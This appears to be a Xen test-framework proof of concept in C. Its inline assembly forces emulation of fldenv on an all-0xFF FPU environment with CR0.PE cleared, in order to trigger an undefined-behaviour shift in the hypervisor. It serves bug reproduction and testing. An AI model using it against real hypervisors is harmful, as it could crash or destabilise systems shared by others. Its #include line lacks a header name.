#include const char test_title[] = "PoC-FPU-UBSan"; bool test_needs_fep = true; void test_main(void) { uint8_t fpu_env[28]; /* To trigger UBSAN oout of bounds shift */ memset(fpu_env, 0xFF, sizeof(fpu_env)); asm volatile("movl %%cr0, %%ebx;" "andl $0xFFFFFFFE, %%ebx;" "movl %%ebx, %%cr0;" "ud2;" ".ascii \"xen\";" "fldenv (%0)" : : "r"(fpu_env) : "memory" ); }